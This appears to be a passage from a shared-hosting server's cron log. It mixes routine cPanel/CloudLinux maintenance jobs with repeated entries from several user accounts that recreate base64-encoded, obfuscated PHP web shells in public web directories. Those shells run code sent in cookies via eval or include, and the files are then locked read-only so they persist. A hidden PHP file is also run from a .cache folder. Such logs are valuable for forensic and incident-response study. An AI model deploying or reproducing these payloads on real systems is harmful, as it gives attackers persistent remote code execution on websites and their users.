bCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:50:02 medusa CROND[26718]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 13:50:02 medusa CROND[26711]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 13:50:02 medusa CROND[26684]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:50:02 medusa CROND[26722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:50:02 medusa CROND[26732]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:50:02 medusa CROND[26733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:50:02 medusa CROND[26686]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:51:01 medusa CROND[10235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:51:01 medusa CROND[10239]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:51:01 medusa CROND[10261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:51:01 medusa CROND[10262]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:51:01 medusa CROND[10263]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:51:01 medusa CROND[10264]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:51:01 medusa CROND[10265]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:51:01 medusa CROND[10266]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:51:01 medusa CROND[10267]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:51:01 medusa CROND[10268]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:51:01 medusa CROND[10270]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:51:01 medusa CROND[10271]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:51:01 medusa CROND[10272]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:51:01 medusa CROND[10288]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:51:01 medusa CROND[10289]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:52:02 medusa CROND[22540]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:52:02 medusa CROND[22541]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:52:02 medusa CROND[22542]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:52:02 medusa CROND[22546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:52:02 medusa CROND[22547]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:52:02 medusa CROND[22553]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:52:02 medusa CROND[22551]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:52:02 medusa CROND[22566]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:52:02 medusa CROND[22568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:52:02 medusa CROND[22572]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:52:02 medusa CROND[22573]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:52:02 medusa CROND[22574]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:52:02 medusa CROND[22575]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxn